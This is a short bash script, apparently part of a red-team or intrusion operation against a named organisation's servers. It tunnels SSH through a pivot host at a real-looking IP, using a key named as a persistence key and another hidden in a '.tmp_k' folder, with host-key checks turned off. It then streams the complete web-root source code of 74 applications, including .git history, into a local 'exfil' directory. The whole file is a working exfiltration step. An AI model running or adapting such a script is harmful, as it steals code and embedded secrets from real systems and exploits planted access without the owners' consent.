#!/bin/bash
# Dump host B /var/www/html source code (74 apps) -> tar.gz stream to lab
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_source
mkdir -p "$OUTDIR"
OUT="$OUTDIR/www_html_full.tar.gz"

echo "=== SOURCE DUMP /var/www/html ==="
# tar czf - over ssh, exclude node_modules/vendor (huge, low value) but keep .git
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
  'tar czf - -C /var/www/html --exclude=node_modules --exclude=vendor --exclude=storage/logs --exclude=*.log . 2>/dev/null'" \
  > "$OUT" 2>>"$OUTDIR/errors.log"

rc=$?
if [ $rc -eq 0 ] && [ -s "$OUT" ]; then
  sz=$(du -sh "$OUT" | cut -f1)
  echo "[OK] www_html_full.tar.gz -> $sz"
  sha256sum "$OUT" > "$OUTDIR/MANIFEST.sha256"
  echo "manifest written"
else
  echo "[FAIL] rc=$rc"
  rm -f "$OUT"
fi
